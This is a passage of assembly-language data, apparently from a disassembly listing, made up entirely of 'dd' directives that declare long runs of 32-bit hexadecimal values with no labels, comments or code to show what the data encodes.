		dd 3B00D8DAh, 979244D8h, 0F5545Ch, 73AF632Ch, 42E320C3h
		dd 27F60A00h, 30D12286h, 0D23A0E11h, 73606977h,	8293BBC6h
		dd 72326038h, 0FA6B9600h, 735D691h, 0B4564D24h,	84FFA60Eh
		dd 3800608Fh, 0ED98A014h, 7B2E4FEAh, 0EC0C15DAh, 0EC8021B3h
		dd 3939C054h, 0D1101F02h, 6C112A1Eh, 303ECA1Ch,	8DBA18D7h
		dd 0CF650059h, 4872AAB9h, 82287633h, 0F9F22086h, 4CDF48h
		dd 0A238E5AAh, 0C0D81112h, 647EB5F9h, 8601F79Ch, 4E2FC1F6h
		dd 57200571h, 42590355h, 1D426F9h, 0D6BA0498h, 0DA64431Ch
		dd 58D1EE0Ah, 549F8203h, 4FDA0E98h, 5A8116A0h, 80CBC592h
		dd 0CF40EA69h, 0DD9C59h, 988E22C2h, 755A9AFFh, 7E048102h
		dd 602ED655h, 1E8C06h, 2C1F8D18h, 0E46D48DFh, 4669BA00h
		dd 0AA5937F8h, 551300FBh, 0AD07BF58h, 0C6019418h, 2FDA04FDh
		dd 1BF873B3h, 25F001EEh, 0E01E9A7Dh, 0BF12D4BAh, 2BF7B70Ch
		dd 3865B82Dh, 500F6D77h, 4A83407Bh, 0D0006432h,	3ED9282Dh
		dd 0F4D8E41h, 1266C7D4h, 58713F60h, 281CA256h, 67809AA5h
		dd 0F89CE151h, 0D0AF0383h, 0A92EDEEFh, 1C7F93E0h, 0D6347800h
		dd 96CF905Fh, 3B4C03ADh, 5667FC37h, 0E9F026D0h,	6E0CA400h
		dd 0F4E01261h, 842F00D3h, 6C2AD446h, 0B200B9CDh, 0ECC767D0h
		dd 2255Fh, 0BEC4AC89h, 70911F5h, 0CE012E0Ch, 33D078C6h
		dd 4E31B5B9h, 0FEAB50F0h, 47101D50h, 4B513300h,	0C8A3C3E6h
		dd 31CF01FDh, 0E366DB8Dh, 2E388EDFh, 0B540E029h, 768AFEC3h
		dd 60D8033Bh, 0C18CFA24h, 81351C81h, 8345CA51h,	270844Ah
		dd 0C1B000C2h, 0A74DCFECh, 440205FEh, 4ABAB87Fh, 679085B4h
		dd 5A0D683h, 7A223B69h,	981E2Ch, 0BE29EFCBh, 381F3A94h
		dd 68582E66h, 3A46A928h, 1000C47Dh, 788F2FD9h, 73014DBFh
		dd 0AB01706Bh, 60E838A0h, 16F90151h, 8814E69Eh,	5C93FCD1h
		dd 0A0A3D600h, 0F90E0685h, 0D4683F3Eh, 0D2CA5901h, 80DBC4FAh
		dd 0C60DB308h, 0E0B9F010h, 6674BEh, 0FD5AEE4Bh,	2EA07D89h
		dd 0ACB41603h, 0A8089C5Dh, 7D1F1BBh, 20D30B78h,	0BA6613C9h
		dd 0B1D09AF3h, 9660FC9Bh, 0D41E4758h, 395D7398h, 0FF3011A3h
		dd 9E86CC30h, 9649FB00h, 0D42FC2EDh, 0EDF775FAh, 23209EEEh
		dd 0A001F6D2h, 0C5CB9DD7h, 0CEAC98Ch, 530747DCh, 0D6AECD0Dh
		dd 21ED8C9Eh, 0CA030085h, 4ADF7446h, 68E09F67h,	5D7F30F3h
		dd 0D2C9CC03h, 185E4265h, 8F2A231h, 48029FCAh, 72774683h
		dd 0D1A36023h, 95C30316h, 9741A062h, 8BD4CCE0h,	5A495660h
		dd 10309CFh, 9B142F88h,	0D012F07Fh, 0A4C0B402h,	870A9A6Dh
		dd 41E200FBh, 546F48Dh,	0C2016401h, 4865E9F7h, 809DD79Dh
		dd 746F14ACh, 0F4CA0A80h, 0C43C347h, 0EF311330h, 6B00CBD9h
		dd 77DF26BCh, 1810210h,	0AD847AD3h, 0CCBE98CDh,	0A8008FD2h
		dd 0DB5976D1h, 0A4A2356h, 2122F596h, 0AC21EC8h,	1D80F0BBh
		dd 0AF9C0A98h, 3201BCCCh, 1AD786F9h, 69F3C4A7h,	0C3086D66h
		dd 9C290031h, 0C2260C86h, 2702A82Dh, 0DDEBBFCh,	0FD7D60D0h
		dd 5472A5h, 4436E469h, 0C7A0B678h, 5D483092h, 0D2486366h
		dd 0B09AA284h, 809F4ACh, 1207880Ah, 3F214766h, 0F809C3Ah
		dd 0E9781071h, 4854C2BAh, 117BCA8Ch, 59C9C332h,	9F130BFh
		dd 0FF89A111h, 3F805388h, 0F63D0906h, 91799Ch, 29268639h
		dd 1B3A4941h, 99B1F36Ah, 791FDC00h, 2067E33h, 67369FBCh
		dd 0C7434957h, 5ED6EB0h, 8696AC00h, 0D2970899h,	0CBEF15ECh
		dd 8D00F015h, 5A2FF97Fh, 7A009AB9h, 0D4561F17h,	1ECB874Ah
		dd 0CF673A61h, 0D958DCBFh, 0A9DEA39Bh, 68394E02h, 0EA34402Eh
		dd 0C1CB76F8h, 652D359h, 4E9181A6h, 0C6A8E028h,	0D1933980h
		dd 9BAE42B0h, 491D2DFEh, 4D3B76B4h, 98F50E18h, 886380B0h
		dd 60C16034h, 0F7E559C0h, 303A9224h, 0D9968EF4h, 284DE20Eh
		dd 9B3093DFh, 0D3A499B0h
		dd 0F7409518h, 0B0990106h, 329B4175h, 3B7BE43Fh, 0A81FDD07h
		dd 7A60F08Fh, 128CA209h, 60FBD228h, 0D8CA0E88h,	0C0A34721h
		dd 0C5CA0D8Bh, 0F8CEE21Ch, 0D00EE480h, 0E400655h, 0F99B2B3Ch
		dd 76CBAE80h, 8749CC73h, 9819C0Ch, 0EBF7880Ch, 4888540Ch
		dd 0A7299h, 84220B66h, 69F77080h, 2AF8E800h, 0CDA76EE9h
		dd 0B5892A82h, 2F3E00A4h, 0C37B3A1h, 5DF6430Ah,	88F4F048h
		dd 70A1C7F8h, 0D6B47D1h, 0B0114486h, 1ACA0400h,	0AB87C446h
		dd 289F0042h, 7103C99Eh, 2DB086D7h, 74BECC24h, 0A44C9256h
		dd 3E6F474h, 2FC64F5Fh,	9103214Dh, 9BC3A3F2h, 0CE11055Dh
		dd 50BEA820h, 8C00E3F0h, 222449E4h, 1926F3E9h, 0C0115C39h
		dd 0E80E9000h, 7821C829h, 8FC33Bh, 4C144F19h, 3D714B52h
		dd 1001CB6Ah, 42E962DEh, 89604B22h, 0A0D4335Dh,	37332431h
		dd 1192A3Ah, 0F49CCB73h, 7B00CA27h, 0E3424F36h,	71D5D95h
		dd 0DFCED113h, 61F92710h, 208966A1h, 57208BACh,	4268A72Fh
		dd 7218C9BCh, 0A7D50B19h, 580AF4D0h, 4F00D65Ch,	52CEB454h
		dd 176FE9Ah, 34252B35h,	42BA8949h, 202A1FD0h, 0F806A11h
		dd 0DB47FBCAh, 504558C0h, 3EFD151Bh, 6100ED51h,	4A8CDC3Ch
		dd 0C6009D62h, 0C2ECD18Fh, 0B477CA8h, 0BBA2AA32h, 0ED4C1580h
		dd 0EA0FB47Bh, 2211ADh,	570FB93h, 10146041h, 0EFE21D4Dh
		dd 7A79D38h, 0F9386815h, 1E215146h, 0BDE2485Ch,	501F8A98h
		dd 29003BFBh, 97EA16B2h, 3E308284h, 2132E84Eh, 46306F61h
		dd 219EEAE2h, 7B60F8DFh, 3C9BE24Dh, 58400A13h, 2601F300h
		dd 1C19D33Ch, 8941009Ah, 5EBF2C08h, 0B560C3BEh,	0DD3DE428h
		dd 459B1FDFh, 19D31822h, 5A19C395h, 0DB510EBFh,	1D552720h
		dd 87D170F6h, 0A6F05F91h, 0ED00B0A0h, 0C72A733Dh, 18514B3Ch
		dd 0E92E138Bh, 0DD028701h, 1885AC45h, 0F8C49115h, 0DC5A5F10h
		dd 0D8488800h, 0BE827D33h, 0C4F42937h, 0CDF10094h, 0C0FC269Fh
		dd 501D4328h, 80BC7E21h, 0EC892A46h, 2086F050h,	51001CD8h
		dd 23582A3Fh, 70448FDFh, 0EECEAD6h, 0F51ADB31h,	0FFD4AA80h
		dd 1E0C6394h, 81C512ACh, 6468A547h, 0C0E861FDh,	0C6E2870h
		dd 0B38C1EF0h, 28CEC48h, 0AC20DD88h, 0EC1B1B1Dh, 6268604Ch
		dd 0F55F803h, 0B8BB1877h, 4473E5h, 98A8A919h, 4E32BDADh
		dd 0F4B9B400h, 5B12ABC2h, 0FB4C0064h, 2CF81611h, 4F00916Eh
		dd 2A8CDC5h, 0CE2904h, 0B2F7145Bh, 0C827A6C4h, 71EAED00h
		dd 0A7945F6h, 13B70EACh, 0C03CD353h, 7253438h, 0DC001CB3h
		dd 0A6EDAD80h, 3F974B57h, 3581B00Ah, 71FC946Fh,	6B1AE01Ch
		dd 7CC31F0Eh, 0AC73C06Eh, 7B015824h, 56B100C9h,	2C36CE4Eh
		dd 0F8009432h, 0CD0A6F9Dh, 968628h, 35838F27h, 0FF1247ABh
		dd 84F83F00h, 66FD7D97h, 3D827F6Bh, 6A34C273h, 0FDC0740h
		dd 8169B529h, 807E406Eh, 1AFAC8C0h, 0F154768h, 844524A0h
		dd 0F02B95A0h, 3B3ACE27h, 28CC80h, 229668Ah, 6E161096h
		dd 0DD41413Dh, 700EDFCDh, 870024E0h, 0DE8B25EBh, 91764Dh
		dd 0C95BBCD1h, 3F464F8Dh, 0FE65AA14h, 0E97E1E80h, 9851B5C0h
		dd 12334D60h, 0BD6EF7h,	862FE437h, 3F0F2E34h, 0E0B4875Eh
		dd 0EBBC9D27h, 196030E6h, 34CFE240h, 0FF18B37Ch, 27C0101Dh
		dd 0E067509h, 0CF0C1AADh, 7D113543h, 244F9ED8h,	0EF7A4300h
		dd 42A23E05h, 0E9EB028Ch, 0B4F29340h, 2E051556h, 0C00E36F4h
		dd 9EAEC028h, 1C954CF5h, 863B50D1h, 80133176h, 0DD890A00h
		dd 6FCD1186h, 77A80126h, 0DE4DB73Bh, 36409EB0h,	942CF140h
		dd 6FE67Dh, 70C7FE5Dh, 89247A61h, 509A4307h, 6C212231h
		dd 26D8AB5Ah, 0D680956h, 4000284Ch, 0A3A9452h, 9B077B00h
		dd 0D58BBAE5h, 137E0057h, 0DB32BD4h, 1A001FFFh,	0F7D8C404h
		dd 0A8300B18h, 0C0F48780h, 917EBB80h, 0B70010D5h, 0BC1C7492h
		dd 24C852EFh, 9E200BD0h, 178683CAh, 7CD82BA2h, 663CEB6Dh
		dd 0C42400B2h, 0BF724362h, 98EC0080h, 0F33B8451h, 0D0FD794Fh
		dd 0C8002FB1h, 0F61DE17Bh, 27F2636h, 0D461CFE9h, 0C240E064h
		dd 4501FACEh, 0B3E8B27Ah, 0AEC93886h, 2EDBC360h, 0E50335h
		dd 0F8588DC6h, 500924EDh, 855F596Dh, 3E8779E2h,	6C8EB310h
		dd 0F0CF98A8h, 467A075Ah, 416A5C41h, 20797DF9h,	0C60005B3h
		dd 674576EEh, 1EDB9093h, 8044BB5Fh, 0CD313B5Bh,	3C72A3E5h
		dd 0A542300h, 0EFF3F578h, 47671EB1h, 0EDBAC077h, 3F4FBE7Ch
		dd 99875D0Ah, 2132F832h, 21376065h, 1B25002Dh, 99FD526Eh
		dd 7100E8BCh, 8E12C5ADh, 0E8DFAAFCh, 617EF0h, 9E1049ECh
		dd 9F507B71h, 0FB288760h, 345FFADFh, 8408D23h, 1580F324h
		dd 0EE72FAE3h, 1C8F8E9h, 0E296B654h, 0DCAE39A1h, 0EA0052BAh
		dd 0B741D904h, 3CA4FC5h, 0B13D7586h, 6900BB85h,	0C27E2738h
		dd 18C0D9CFh, 30DAF60Fh, 8B07AFB2h, 7E9F4565h, 0A8720DCh
		dd 88EBAC69h, 0C6557820h, 90E1008Ch, 0EBD03362h, 0C500BC59h
		dd 608D87DBh, 0C9E8995h, 373D3F84h, 21C0CA09h, 0E695786Dh
		dd 0F7104842h, 4D13EA01h, 0FC1B9FD3h, 0C73EC0D4h, 0C2F7183Ah
		dd 52D034F0h, 5B013036h, 4C9E9695h, 40920C40h, 730572C8h
		dd 0E6B8BA95h, 0BED31CC0h, 9E6300A4h, 0C120AB33h, 36F498C7h
		dd 4660B860h, 0FF6CC870h, 0C8DA344Ah, 0A56342Eh, 86ECDAB9h
		dd 0B982BE44h, 0A661C172h, 0B6D00319h, 0AC773880h, 38A853F8h
		dd 523A0D1Ch, 8C2EE407h, 350B44B1h, 39DBA098h, 0AF74B6A0h
		dd 0C40E892Ah, 81B27430h, 38AB3E3h, 69B1CEEFh, 20031F2Ah
		dd 0B06AADA5h, 0E77100D3h, 0BA290551h, 0A00EA431h, 8C9C72ECh
		dd 0FE21C9h, 0F6AE0588h, 0CDB8488Ah, 4988B8A3h,	0C8C0E172h
		dd 69051025h, 311A0019h, 0AAE6C586h, 6A0007E7h,	0F5F221A3h
		dd 1FD8058Dh, 5DE145h, 3004FEEDh, 15005284h, 0B36113A7h
		dd 4ED056h, 0FDAECCAAh,	43B60EE0h, 0CFDAF000h, 0A62FC65Dh
		dd 0EA4B389Eh, 96FF1F78h, 0E4A6C5h, 8D758A03h, 43003E1Bh
		dd 0E245363h, 0E8CDA837h, 344100C7h, 0DFB45277h, 7E00D3D7h
		dd 0C464CA8Dh, 0E61C6C26h, 107C0020h, 0EC54748Eh, 33ECC0A6h
		dd 8266F202h, 0E0227E87h, 7955992h, 7536CAE3h, 0FF5540E5h
		dd 2076426h, 6194A078h,	279FB890h, 0AB970975h, 0F601FE67h
		dd 8DAF8366h, 69B07760h, 0C2BF040Bh, 40C31C95h,	1E063Ch
		dd 200B9BF5h, 0CA787E4Fh, 58012771h, 0FB9565C1h, 2888E2F9h
		dd 0B388DB60h, 63088873h, 84FA1788h, 0A26A52Dh,	90428F7h
		dd 8304CE66h, 7CD4246h,	75FB029Ch, 2163D423h, 1085F29h
		dd 28BF94DEh, 795ABC18h, 0F58B474Bh, 45E36408h,	0A7140457h
		dd 0DF72463Fh, 8E74251h, 14C232C0h, 0A8181493h,	7F2B51F6h
		dd 9F8580h, 42B61F18h, 3088F486h, 94AF4800h, 0D9AAB4C4h
		dd 0FFCF0782h, 0E6472D46h, 110F16D4h, 61C3FC48h, 0A8A4550Dh
		dd 5C0BD4h, 227D319Ch, 0CA021EC9h, 3999C713h, 2A2B7500h
		dd 4C5D15h, 75ED14Fh, 54F7EF65h, 46419F00h, 0ACE35ABDh
		dd 0B0AD0011h, 59A6CCD0h, 2E001CDEh, 0D6A1E97Ah, 1F458227h
		dd 871192h, 0FE304A04h,	0FA00E7B3h, 6FA91A78h, 1BDC65h
		dd 57E1C66Bh, 0A0ADDDCCh, 0F64BBE03h, 0D0E3B5B7h, 0EE48902Dh
		dd 2078484Dh, 1C371600h, 0CFA56D5Bh, 621D5900h,	6A1EF5B5h
		dd 0D95F0005h, 9FC7BD01h, 423E80FEh, 0B6209DC2h, 0C9290900h
		dd 1F79C4h, 0D5E0654h, 82FBF388h, 99F8E318h, 5FD198h, 0DE370B9Eh
		dd 7CC3073Ch
		dd 3629CA04h, 60903AB9h, 83169Ch, 0B0649E2Ch, 0FE70F445h
		dd 0F6946900h, 628BF277h, 3E74006Fh, 5C90AF21h,	4C0061EFh
		dd 0B8ED9A2Ch, 1AB95h, 6D6A0BA9h, 0E5FF66A7h, 28B18202h
		dd 8051E9A5h, 1DCCEFDDh, 13470095h, 0A70E12FFh,	5D00F4E2h
		dd 829FA5B9h, 30C978Ch,	0AB1F1645h, 49B05275h, 0CA7B985Ah
		dd 8008DF48h, 3672713Ch, 6CBD006Bh, 1B753FE7h, 0D0CF2A58h
		dd 5BFA6007h, 1D9B550Ah, 80B391A8h, 9EF7C38Bh, 1006FA6h
		dd 0B45CD16Dh, 185A211h, 8D633816h, 0C892DF6Eh,	89008887h
		dd 52F0BE5Dh, 1FAD1978h, 0C03F5E22h, 94F97F38h,	0BF003AE9h
		dd 4185F84Ch, 5EE41Ch, 0F33FB199h, 0DA561202h, 0FC03FBE6h
		dd 152B18A6h, 8AAEB86Bh, 0B77777h, 63D08E99h, 863E6DF8h
		dd 2DAD500h, 0A97D9885h, 1EAA1008h, 0AFD0129Bh,	0E3DD6400h
		dd 75847477h, 0B7C0A8F1h, 690EFh, 0CA952DCDh, 337427ECh
		dd 682BC600h, 3EDCF1D9h, 9899004Dh, 794B86FFh, 20FEA25h
		dd 0C167AE47h, 78154CD3h, 9EB0F0FFh, 7DC27AF3h,	3D407C5h
		dd 105F2599h, 728C8194h, 4EAD6301h, 3A396B07h, 14FDF6DCh
		dd 0C453FEB7h, 0C417117Ch, 8DCB0793h, 0C6107E3Dh, 1F1FDB67h
		dd 47EE56BFh, 0F0DA7AE3h, 236A93Ch, 80C5EC38h, 88D34E08h
		dd 91BBAF0h, 9199A3F3h,	0B53C3020h, 0AB51DC4Fh,	74BECCC4h
		dd 7BF9771Fh, 0A2EF3F83h, 0EA903D3Ah, 6558EE00h, 0CF739F8Ch
		dd 0EBC85F12h, 5AC07037h, 685849h, 0C5127E65h, 5298015Bh
		dd 9ADE4000h, 85184CA7h, 793B00CEh, 0D3B1B40Ch,	0CB1E3C03h
		dd 0AE802583h, 0A63DFEC4h, 0C5DB0036h, 0B646EC0Ah, 402E67Bh
		dd 1349C811h, 0CA6E60E1h, 0A5E20031h, 21C62439h, 5F0E4C01h
		dd 0E055A89Ah, 3412F6E5h, 0D0501D3Fh, 146DC013h, 8C179287h
		dd 0E80FF896h, 0A281E37Dh, 2145D08Ah, 0BB5E004Bh, 272F1CF0h
		dd 26E83D35h, 0E83A1B00h, 4D1018BFh, 36E0324h, 9D99FC4Ch
		dd 4277E6C0h, 86EC621Fh, 0D20ACFC0h, 3F3237h, 99C0823Dh
		dd 70A64517h, 681E3C7Ah, 1E79BA35h, 0D380EA03h,	0D42A322Fh
		dd 37FD0067h, 0FAA64A0Fh, 98003F24h, 21205CA0h,	3CF9B44h
		dd 0EC333AD4h, 3C987EDBh, 1AF8069Eh, 69537500h,	0DDFEA24h
		dd 0E1F60780h, 0D708126Eh, 5500E9B0h, 23692806h, 6C0B3412h
		dd 2947CC40h, 0C0DB7Ah,	0A1B85DFDh, 0BE86CD82h,	0EE7310Eh
		dd 8C1E6034h, 154237h, 0DD6A2316h, 46DEC440h, 0D7501A00h
		dd 2CB5F7C7h, 0F6F200CDh, 984C8242h, 57726A3Dh,	0DFD1D760h
		dd 8CFD30h, 7F453502h, 6E4FB847h, 0D8A82024h, 26958900h
		dd 0B18FB0h, 0D55FE41Ah, 0A0770CF7h, 2A7AC48h, 856A41DBh
		dd 0B186024h, 37231FECh, 351CC030h, 1820A3A5h, 14E85C07h
		dd 0EFD04D7Ch, 59E7E5h,	0B71FE64Ch, 66A26D5Fh, 0CCF26C00h
		dd 0F973ED93h, 417CD4h,	5739340Bh, 4EF5B67Dh, 593BC60Fh
		dd 858AE071h, 33A918h, 28E1D5C9h, 5BE82DAAh, 0B2D7BC00h
		dd 482E1AACh, 0AC9808h,	0FCE466A5h, 5FF4A1DFh, 2CA05D00h
		dd 3E95EC05h, 1E72C3h, 9881317Ah, 9EAB7761h, 8FDEFA00h
		dd 0F78C965Ah, 1D47E15h, 0CDF9AA30h, 0E3D68304h, 2D9603E0h
		dd 473FFC00h, 0C3C7876Dh, 21176069h, 0F172B06Eh, 0ED94761Ch
		dd 83C043CFh, 0F86BB5C2h, 714CABh, 0CEC6AEF0h, 0D870BD55h
		dd 748DA000h, 0E2FDEBC2h, 6BF30086h, 6C49B009h,	18B996FBh
		dd 0D3B33503h, 0D06BE362h, 33EB1E0h, 0B6D838E6h, 0B880C4EAh
		dd 280008FBh, 6F8D542Fh, 1EC8EEh, 999BDEFEh, 2AE14A95h
		dd 80068C3Bh, 8FD8F3A1h, 7E2C3Dh, 0A51112EFh, 3CCCCEE1h
		dd 2466BB24h, 0AC779500h, 309F371h, 0BDC81079h,	2E94E28h
		dd 0DE90E79Eh, 0AF01AB87h, 36C21D6Ch, 7AE0F1FFh, 409C03B0h
		dd 0BC0D3E15h, 991E9DD8h, 79E24800h, 0A5A14E8Eh, 0BB8E877h
		dd 0C2734A63h, 51D40080h, 2F00CDA4h, 65CBAB24h,	2EEED8h
		dd 0B24FF420h, 0A33A80F8h, 0AF359C00h, 19631EFAh, 22623961h
		dd 642D0302h, 8A4099B8h, 84001CB6h, 4257FFDh, 9F6E6h, 32308D48h
		dd 0A0F8EA7Ah, 78134D7Ah, 680CCEF3h, 1EC22826h,	0F28301h
		dd 60E49943h, 0B90285DDh, 0BA0CA54Eh, 0D063E1h,	0DE778FFEh
		dd 34EE276Dh, 0BF00C37Eh, 0F4333630h, 18E54615h, 10E051D9h
		dd 0F2008B3Ch, 3E32E2B9h, 3A3CC76h, 2C3638A5h, 0D6D0D04Ah
		dd 21030B6Eh, 0A127D7AEh, 863DC034h, 0DD890003h, 0DBD1DA3Eh
		dd 0EB1EECA2h, 30C067C9h, 1A7CD273h, 16F300FCh,	806FE3FDh
		dd 0D900F995h, 0E0C12CA8h, 391FB275h, 0E0E40698h, 8B4A812Eh
		dd 0F2A9D8ADh, 0D29448h, 0CD4255E4h, 0A71BBDh, 0BC3C1369h
		dd 65A5F262h, 18ED7800h, 0C9C34B02h, 32710088h,	0B055F12Bh
		dd 0D900C197h, 11B5AF26h, 7955348h, 0EA7310F4h,	0A4BD8178h
		dd 1445E089h, 0D5232000h, 0C24B1B47h, 2B7C42h, 2D432818h
		dd 7A06DFBBh, 5871D900h, 0E1B4C37Eh, 0AB5600E9h, 21996B16h
		dd 0A00034ADh, 93F065FCh, 48D78762h, 0E207A09Bh, 400B9C4Ch
		dd 0CFA997D4h, 92C1AD03h, 0A9DE0636h, 0CAF41F1Ah, 8CAA0017h
		dd 0DF0F7AA4h, 37007404h, 0E0650DD6h, 2A892D7h,	2DF3CF87h
		dd 0DE00EF11h, 0FA6728FDh, 0D7700EAh, 0AACB2152h, 0FE002E7Eh
		dd 4B5D1643h, 539E66h, 7381CA7h, 96CCF757h, 0F63C04F4h
		dd 0ECB6007Bh, 9B5119C1h, 80160025h, 4B79C277h,	1C02F740h
		dd 0BB1B58BDh, 0BF2CE09Ah, 1D589D4Ah, 0A34F5C00h, 0DC0E46A8h
		dd 0A22D1E74h, 0AA1FC017h, 5F2B33A6h, 0DFC3ED1Fh, 0DEC0DC5Eh
		dd 83B1864Ch, 3F7101C2h, 0AD392099h, 11646045h,	808DB23Eh
		dd 74648F09h, 1CFDCE40h, 89D47A80h, 6C00F016h, 1CAAE035h
		dd 4000FFFAh, 18A7303Bh, 1855769Ch, 1025A998h, 191C17CDh
		dd 0BB00A832h, 6B152D41h, 904500C6h, 0C0E07B1Eh, 8800FAE3h
		dd 0E15B3704h, 0F02FB015h, 0DD030B4Ch, 0E0209B22h, 0ECA66EB1h
		dd 817B4927h, 1DD7A16Ch, 92F33829h, 1C109D88h, 0E84A7100h
		dd 636DC105h, 49FF00B8h, 97AB8F42h, 0C6903627h,	748E111Dh
		dd 4D90ED2h, 22A3B847h,	727988FDh, 929F263Eh, 528D007Ch
		dd 6EEA3D0h, 25DD4F00h,	29270B2Bh, 0AFF40076h, 97A521C1h
		dd 0B1795D98h, 83337200h, 0ED514484h, 8E1000Ch,	2D767389h
		dd 0A200BBEBh, 0D939CE86h, 0BD4B872h, 42BDF1E6h, 0E3B01D80h
		dd 0D63C6C62h, 0C4CB00F8h, 0E6555BA1h, 81770049h, 8A702C0Ah
		dd 5102C86Dh, 0EE57DD52h, 0E35F408Eh, 1C2E0029h, 0AF211228h
		dd 0FFC7A13h, 10D3952Eh, 86A84000h, 17538716h, 53D2523h
		dd 800A6238h, 0EDA99FD4h, 0CC61AC00h, 663A0C85h, 0E78A0720h
		dd 639D23F7h, 0CE914D2Ch, 0A4393038h, 0E59BA800h, 3A724404h
		dd 7626009Eh, 4C8710B0h, 4348F440h, 9BC51C10h, 11FBAD0Ch
		dd 0DAEC0C82h, 5F880E24h, 5A003079h, 4677B30Ah,	0B2EAEBE0h
		dd 0DE4D0038h, 0B9C1B26Ah, 98007E97h, 32ABBF2Bh, 58BED2E6h
		dd 570078C0h, 0A3F43CA0h, 2C009346h, 0FD96B51Ch, 1CB9219Bh
		dd 0C0676287h, 5F7DBC69h, 4100ECD6h, 6A8DB8CEh,	8AD34Fh
		dd 84A2D0B5h, 37027490h, 0A33C38h, 0F4C8AA3Fh, 0B2E491h
		dd 6E8071D1h, 6AF3763Ah, 0AB89B700h, 7FF12043h,	181203A5h
		dd 4104AAF7h, 6763BBA0h, 0C9008270h, 19DBD330h,	0B1491D3Eh
		dd 0EAB580C0h, 0B3D90DA3h, 0A4ECFC60h, 79BD37F7h, 802400E6h
		dd 0C01F1D6Bh, 58007EEDh, 4B7A1C16h, 19CE5B5h, 3D4D47DEh
		dd 3CFB0B10h
		dd 938E02C8h, 801E95C9h, 59C6DAD4h, 750A1FA4h, 2B380CC0h
		dd 6A386818h, 0ABDB80CAh, 0BA2354C2h, 0A65B00D8h, 3525E64Fh
		dd 8070F83h, 2768041Bh,	0AA3DC060h, 0EA60002Bh,	52AC464Ah
		dd 893DC6CDh, 0BC0400D1h, 0A5857EF4h, 6D74009Eh, 0DBDFE3A7h
		dd 0F0059DEh, 94297B42h, 79E8077h, 553ED2E2h, 40607EFFh
		dd 0A88E68C3h, 858BE100h, 7DCAD34Ah, 0AF371F36h, 0F35480CBh
		dd 0B9289F90h, 579B207h, 26E0EA41h, 50AB57h, 0EFA35156h
		dd 0BC7A31E5h, 0FF67DA3Ch, 0BE862803h, 6D4881h,	0AED62E54h
		dd 5B7E8249h, 132B9000h, 8A38736Ah, 0E961DA8h, 402A419Bh
		dd 475DCA14h, 0DEEAD0F9h, 81003B7Bh, 56EB842Fh,	0FD2D4280h
		dd 1286ECh, 96D95EFDh, 3EEE70A5h, 0A0F46A00h, 0EBD7CBB6h
		dd 45C20098h, 6C23A6D3h, 0D8004020h, 0AB1BCE55h, 6F4E4Fh
		dd 0C70E1EDCh, 48770CA8h, 37FDA400h, 0F8727005h, 392A00BBh
		dd 26906E4Dh, 0A200FA71h, 0BF4268B9h, 72EFCC22h, 5E0C37B6h
		dd 0C7007931h, 614723F4h, 0D7178501h, 4D543BD0h, 0B8DB7DF0h
		dd 837C0091h, 17A9E9F0h, 0E61FD86Eh, 0C070C918h, 706A5FFh
		dd 0A6ED2DDCh, 21E850A2h, 0D8007033h, 0D565608Eh, 108250h
		dd 2807AC8Ch, 582D1E3Bh, 0D645BD00h, 845FF1BAh,	8B90C23h
		dd 2F40D36Ch, 66767200h, 93CAE92Ch, 26900CBh, 0FCF116C6h
		dd 6374C440h, 0AF4FA007h, 431088BEh, 9A5B9Bh, 0F1EABABCh
		dd 3FE47142h, 2B005574h, 7DA93CC7h, 0F6CE59h, 27816ED0h
		dd 45463DB0h, 9CB6C400h, 0DC0D5118h, 9F64006Ch,	1287FA09h
		dd 720077E0h, 0AB47EA8Dh, 6ECE22h, 0B4300D74h, 95BB292Ch
		dd 0E33B0500h, 61AFAD41h, 0B6200067h, 4B6DE63Eh, 140B9673h
		dd 8C9D90C5h, 5F90E0h, 0E8E0D8E4h, 0A8656333h, 78C0131Fh
		dd 0B488F0A9h, 79540F11h, 0C05EDDBFh, 0D83449F3h, 0FB01F9CFh
		dd 8FE607A2h, 5880EDE0h, 0D33EB7Bh, 6000425Fh, 878CB526h
		dd 0EAA0B3Fh, 0F939A89Ch, 802C1407h, 8AD7C1F3h,	0CD704E00h
		dd 0FBD5F5A3h, 64DC0056h, 0D6305E5Bh, 7F30B546h, 7F1283Eh
		dd 777EAEh, 0B4A1AC8h, 48765CC1h, 0A40051E6h, 77F66752h
		dd 0B0C7558Eh, 692C0082h, 0CB797CA5h, 9A004B6Eh, 7FF7B59Dh
		dd 1025E34h, 32E39466h,	86DCF282h, 0A875EFC0h, 9B9D3CE6h
		dd 9FC6D203h, 0CB90033Ah, 0DF00E763h, 2C4418E8h, 7D4F96h
		dd 756AC22Ah, 575FC7B2h, 9BC8A38h, 0FFB48245h, 87614604h
		dd 3DE1D0F0h, 0AA0E735Ah, 1DF04171h, 68F4D580h,	5D60690h
		dd 479A4DFDh, 1B63879Bh, 0BE56FA00h, 0D8161C7Ah, 8804262Eh
		dd 2498B9ECh, 0F5683FE4h, 0E3078448h, 0D0FD53A4h, 0B74AF179h
		dd 485C5800h, 0C9D3BEA2h, 0C76600EBh, 9BE83C8Bh, 3307874Fh
		dd 3B6BF968h, 0F4E755C0h, 6EC10067h, 53E431D6h,	73797A61h
		dd 0E97B651Fh, 332F5001h, 1F4F4E3h, 6C5130DFh, 0F54B713Ah
		dd 16D9EF00h, 40254F9h,	782300A5h, 0FAEDE57Bh, 191275CEh
		dd 0B440659Eh, 0F78F572Dh, 10F600D7h, 45611434h, 0EB0E6613h
		dd 0E7FABA78h, 0C705D80h, 21F96DAh, 39463F2h, 3AC262DCh
		dd 88D7D800h, 3B000278h, 190DE6B0h, 1FD9DEh, 0DBD5320Bh
		dd 0CD30F76Fh, 0E8E49700h, 0D8E165A0h, 0E6BD4802h, 4E9E7A7Dh
		dd 2FAF804h, 8A8277B2h,	0AFD88390h, 1775D86Ah, 0CCBE0306h
		dd 0A126F168h, 9C2B5E0h, 8056D039h, 0D484E691h,	4F624Ch
		dd 0E1481F44h, 41A3C3DAh, 0B0CFE200h, 0A1E36028h, 75EC7207h
		dd 0A70800F8h, 7A304ED0h, 0FD00AD9Ah, 7DC2502Eh, 34F6B9h
		dd 78A6F786h, 0F4C13633h, 9DBE643Eh, 0BCE88Dh, 7A3E7EF0h
		dd 4CAB8E8Bh, 7B00410Fh, 665A1467h, 16001EE4h, 0A1FB1D02h
		dd 7209CEF2h, 797161h, 36229A6Bh, 7FD87DE6h, 2A904F73h
		dd 0AF0B6400h, 0D1D2E308h, 0DA8B1C40h, 0BFE9C185h, 70C61BF7h
		dd 58247429h, 4801345Ah, 4B6A7F62h, 381AE0h, 9A0F5551h
		dd 0B61C181Eh, 68A13700h, 72BF9D61h, 16D7931h, 0ACD7335h
